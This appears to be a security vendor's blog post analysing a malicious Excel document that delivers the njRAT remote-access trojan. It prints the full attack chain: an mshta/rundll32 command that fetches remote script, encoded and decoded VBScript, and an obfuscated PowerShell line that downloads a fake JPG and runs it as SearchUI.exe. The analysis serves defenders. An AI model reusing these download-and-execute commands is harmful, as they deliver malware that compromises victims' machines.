Field Notes: Multistage Maldoc Delivers Executable Masked as JPG

Posted on 2019-11-13 by Josiah Smith
Our "Field Notes" blog series provides interested readers with a quick analysis of interesting samples that the InQuest Labs team encounters in-the-wild or harvested via the [InQuest Labs Platform](https://labs.inquest.net/). Readers are encouraged to utilize this open data portal for discovery of new samples which are available for search and download. In this blog, we run through a quick dissection of a document that had low AV detection at the time of ingestion but was deemed malicious with high confidence through InQuest Deep File Inspection (DFI). Readers are welcome to download the [sample](https://labs.inquest.net/dfi/sha256/019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5) from InQuest Labs to follow along or read the report. First, we take notice via the below `file` command that we're dealing with a Microsoft Office document in OLE/CDF format, these are pre 2007, after which Microsoft switched to the zipped/OOXML standard: $ file 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5: Composite Document File V2 Document, Cannot read section info We can use Didier's [oledump](https://blog.didierstevens.com/programs/oledump-py/) to list the OLE streams that are found within the file. The letter M next to stream 3, 4, 5 and 12 indicate that the streams contains VBA macros. $ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 1: 606 'PROJECT' 2: 146 'PROJECTwm' 3: M 819 'VBA/Module1' 4: m 977 'VBA/Sheet1' 5: M 4658 'VBA/ThisWorkbook' 6: 5010 'VBA/_VBA_PROJECT' 7: 2020 'VBA/__SRP_0' 8: 114 'VBA/__SRP_1' 9: 616 'VBA/__SRP_2' 10: 498 'VBA/__SRP_3' 11: 909 'VBA/dir' 12: m 1172 'VBA/ththxrthgfbghntydhn' 13: 97 'ththxrthgfbghntydhn/\x01CompObj' 14: 453 'ththxrthgfbghntydhn/\x03VBFrame' 15: 226 'ththxrthgfbghntydhn/f' 16: 16 'ththxrthgfbghntydhn/o' The source code of VBA macros are compressed when stored inside a stream. Use option -v to decompress the VBA macros in stream 5 as indicated by the 'M' marker. we grep for the Shell() pivot that we know is there from examination: $ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 -s5 -v | grep Shell Call Shell(ththxrthgfbghntydhn.bgtggrhbxrthbx.Tag) It looks as though the contents for .Tag are in stream 14 (note we defanged the URL for your safety): $ oledump.py 019379970221b72dded536d2356512790f4b0b4b5fd1824227b5cd3ba4c785a5 -s14 -d VERSION 5.00 Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} ththxrthgfbghntydhn Caption = "UserForm1" ClientHeight = 3015 ClientLeft = 120 ClientTop = 465 ClientWidth = 4560 StartUpPosition = 1 'CenterOwner Tag = "rUNDlL32.eXe SHELL32.DLL,ShellExec_RunDLL mSHta.Exe VbsCripT:CLOSe (geTObJEct (""SCRipT:https://jplymell[.]com/serb.xml"") )" TypeInfoVer = 4 End Here we have a pivot through mshta to this serb.xml file being served on a remote website. Using the `curl` command below, we are able to acquire and inspect that file: $ curl --silent https://jplymell[.]com/serb.xml | tee serb.xml <?xml version="1.0"?> <package> <component id="IKUEilIKUfcKKtrOXCqGnrgUAGvMgJMCF39533022642"> <script language="VBScriPt.EncodE"> <![CDATA[ #@~^gwkAAA==9b:7(\"Z/i)i9ksd[7C[7=d?Od(\I;d7'iZ"+CY36(Lnm:7`iZ4.q`[uXF#~[,/4DcLCF&#,[,/tMc[_vfb,[P;4Dv[CF+bPLP;t.`'uW,bPL~Z4Dc'_*!b~LP/tM v[ulc*P[,Z4.v[u A#~',ZtMc[_*&*~'P;tMc[uR#~[,/tM`'u+*#~',Z4Dv'_v/*PLPZ4Dqc[_v/#i#7liN7uNi'dr~7P,nK3DduAVsRAa+,P~~,PO3aid7di8IwCk?,PP,O GniP~PiO 7iddiqdiPP n^didid(b)BzbVb;}bxb/)zmh$ozC}bd}~f)V%z4o~jz!jz4LAZb)VzZpzLb;!b9L$AzZzb/p)BzbVb;}bxb/)z|b)LzbVb;}z9)z3zZpzoz/cz|)b b!*z}pzUb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bz|hzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bbxA$&zZ1b(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bMb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)UzZTb(AAbb!Gz9h)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZkb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ^b"}zx);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)bnAbTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bz9h~Lzopz9AbTb/)zqbzLb;bb&))ozZzb(b)LzZ)b&)bTb/)zqb)LzZ)b&)zo);bzqbzoz/bzq)bTb/)zqbzLb;bb&))ozZzbFp)LzbVb;}bTb/)z4o$szs}bdL~()Vjzpo~Lz!hzl}Awb3*z.bzBb;bb&))ozZzb/p)2zZ*b\)Ahbu^z4o$dz20b5}~2)_Hz.b~?z33zKLA_b/LzqbzLb;bb&))ozb0bu?$GzC}b9)ASbu\zro)-zZ0bmL~h)Vhz+p~Yz!jz4)Akb/*z5h~-bV!bdA$YzMAbCp$dzZ0b1AADb!3zmo$TzM3b1)~h);czlo~hz!mzCjbxb/)zZpzBbz3b;})ozZ0b(b)LzZ)b&)bTb/)zSp$szM*b&)z9)z3zmh~jzoqz?}A!b!^zZpzBbz3b&))YzCzb}p$Tz2Lb;}bxb/)zqb)BzATox)~V)VczNozvz32zj)ASb3}z5p~ibV2bo)$KzM`bep$zzM\bm)Ajb3VzSo$szCLb\}zN(z3zqbzoz/bzq)bxb9dzqbzBbz3b;})9zM0bPo$ zM0bUAA^b/Tz}p$*zs)b`L~V)_Hzmh~9z!%zKLbxb)VzZpzBb~!ox)$VzMWb#o)z23b1)A5b3}z5p$Tz23bo)~K)Vjz5p~Xz!Hzl)Ajb3VzSo~sb_ob\})N&b{'7P~Ei)747]ZkR.;gdmu]i`7&W7*d'i47IZkRpwm19+ \r.Kx:AHYkYIbH!/vd;t.c'_ X#,'P;t.cLCcfb,[~Z4.v[u+s*P[,Z4.`LCf*P'~;tDv'CF&#,'~Z4Dv[uGTb,[~Z4.v[ul#P'~;t.v'_cf*PLPZ4Dqc[_ X#i#7'imC"7`i&cib7[iZ_D7`7fWdbdL7Z4D cLC ob,[~Z4.q`'_v2#PLP;4Dv[u Z#7'iN7uNi[d14.dvd2c7#7Si!7)ij2Dd8-"Z/7xi1GY4(go5JYCAA==^#~@ ]]> </script> <body> </body> </component> </package> Looks as though "serb.xml" is an encoded VBE, we can use Didier Stevens's [decode-vbe.py](https://github.com/DidierStevens/DidierStevensSuite/blob/master/decode-vbe.py) to decode it. Further reading: here is a great article discussing [Microsoft script encoding](https://www.virusbulletin.com/virusbulletin/2006/01/inside-microsoft-script-encoder/) $ decode-vbe.py serb.xml Dim bvRCs : Dim dWvHd : Set bvRCs = CReatEObjecT ( ChrW(&H57) & Chr(&H73) & ChrW(&H63) & Chr(&H72) & Chr(&H49) & Chr(&H50) & ChrW(&H54) & ChrW(&H2E) & Chr(&H53) & ChrW(&H68) & Chr(&H65) & Chr(&H6C) & ChrW(&H6C) ) : dWvHd = " PoWErsHEll.Exe -Ex bYpasS -noP -W 1 -ec IAAJAAkACQAJACAAcwBFAHQALQBDAG8AbgBUAGUAbgB0AAkACQAgAC0AdgBBACAACQAJAAkACQAJACAAKAAgAAkACQAJAAkACQAgAC4AKAAnAG4AZQAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwB3ACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAC0AbwBiAGoAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACcARQAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBjAFQAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgAAkACQAgACAAbgBlAFQALgBXAGUAQgBjAGwAaQBFAE4AVAAJACAAIAAgACAACQApAC4AZABPAHcAbgBsAE8AQQBEAHMAVABSAEkATgBHACgAIAAgACAAIAAgAAkAHSBoAHQAdABwAHMAOgAvAC8AagBwAGwAeQBtAGUAbABsAC4AYwBvAG0ALwBtAGEAaQBsAC8AcwBtAGEAcgB0AGEAcABwAC4AagBwAGcAHSAJACAACQAJAAkACQAgACkAIAAgACAAIAAgACAALQBlAG4AIAAJAAkAcwBUAFIASQBuAGcACQAJAAkAIAAtAHAAQQB0AEgACQAJACAAIAAJAB0gJABlAG4AdgA6AEEAUABwAEQAYQBUAGEAXABTAGUAYQByAGMAaABVAEkALgBlAHgAZQAdIAkAIAAgACAAIAAJADsAIAAJAAkACQAJAGkATgBWAG8ASwBlAC0AZQB4AFAAUgBlAHMAcwBJAG8ATgAJAAkACQAJAB0gJABlAG4AVgA6AEEAcABQAEQAYQB0AEEAXABTAGUAYQByAGMAaABVAEkALgBlAHgAZQAdIA== " : bvRCs.ruN cHR ( 34 ) & bvRCs.eXpaNDenvironmENtstRiNGs( ChrW(&H25) & Chr(&H43) & Chr(&H6F) & Chr(&H6D) & Chr(&H73) & Chr(&H70) & ChrW(&H65) & ChrW(&H43) & ChrW(&H25) ) & cHR ( 34 ) & CHr ( 34 ) & ChrW(&H2F) & ChrW(&H63) & Chr(&H20) & dWvHd&chr ( 34 ) , 0 : SEt bvRCs = NothINg The output has some base64 encoding and obfuscation techniques there. Didier For The Win with another great decoding tool called [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py). base64dump is a program that extracts and decodes base64 strings (or other encodings) found inside the provided file. (URLs defanged again): $ decode-vbe.py serb.xml | base64dump.py -n50 -s1 -d sEt-ConTent -vA ( .('ne' + 'w' + '-obj' + 'E' + 'cT' ) neT.WeBcliENT ).dOwnlOADsTRING( https://jplymell[.]com/mail/smartapp.jpg ) -en sTRIng -pAtH $env:APpDaTa\SearchUI.exe ; iNVoKe-exPRessIoN $enV:ApPDatA\SearchUI.exe The output shows that this "smartapp.jpg" is going to be downloaded and saved as "searchui.exe" Lets go ahead and pull down that bad boy: $ curl --silent https://jplymell[.]com/mail/smartapp.jpg > smartapp.jpg And confirm that it is an executable with the `file` command: $ file smartapp.jpg smartapp.jpg: PE32 executable (GUI) Intel 80386, for MS Windows Generating the SHA-256 proves that it is well known by the [AV industry](https://www.virustotal.com/gui/file/f3f76276073ea2e85456e84bba247828a8bae44dcfa377ad78524e3354a5fb5a/detection): $ sha256sum smartapp.jpg f3f76276073ea2e85456e84bba247828a8bae44dcfa377ad78524e3354a5fb5a smartapp.jpg The executable was then submitted to a couple different sandboxes to gauge their consensus and showcase the usefulness of the tools. VMRay Analyzer, JOESandbox, and ANY.RUN had similar findings. The executable was identified as [njRAT](https://attack.mitre.org/software/S0385/). Review the respective report from [ANY.RUN](https://app.any.run/tasks/62c2ecc4-4977-4618-851b-ba67174ebb68) ANY.RUN is an interactive online-sandbox that provides a wealth of information. The process graph here shows the sequence of events that preclude the firewall exemption. JoeSandbox provides a [detailed report](https://www.joesecurity.org/reports/report-78d97c9b50029da32ada8e16e1979b28.html) and here are some illustrations showing the GeoIP, behavior graph, and classification of the sample. | [![GeoIP](https://inquest.net/sites/default/files/2019-11/GeoIPs.JPG)](https://www.joesecurity.org/reports/report-78d97c9b50029da32ada8e16e1979b28.html) | [![Behavior Graph](https://inquest.net/sites/default/files/2019-11/joenjrat.JPG)](https://www.joesecurity.org/reports/report-78d97c9b50029da32ada8e16e1979b28.html) | [![Classification](https://inquest.net/sites/default/files/2019-11/behavior.JPG)](https://www.joesecurity.org/reports/report-78d97c9b50029da32ada8e16e1979b28.html) | |:---:|:---:|:---:| Last but not least, VMRay Analyzer quickly deems the sample as malicious. The simplicity of the Mitre ATT&CK™ Framework is easily conveyed to the reader. We hope you enjoyed these notes and be sure to check out [InQuest Labs](https://labs.inquest.net/). If you have any interest in obtaining an API Key for your fun or profit, Contact us directly via labs@inquest.net.

Tags
deep-file-inspection field-notes

Get The InQuest Insider

Find us on Twitter for frequent updates, follow our Blog for bi-weekly technical write-ups, or subscribe here to receive our monthly newsletter, The InQuest Insider. We curate and provide you with the latest news stories, field notes about innovative malware, novel research / analysis / threat hunting tools, security tips and more.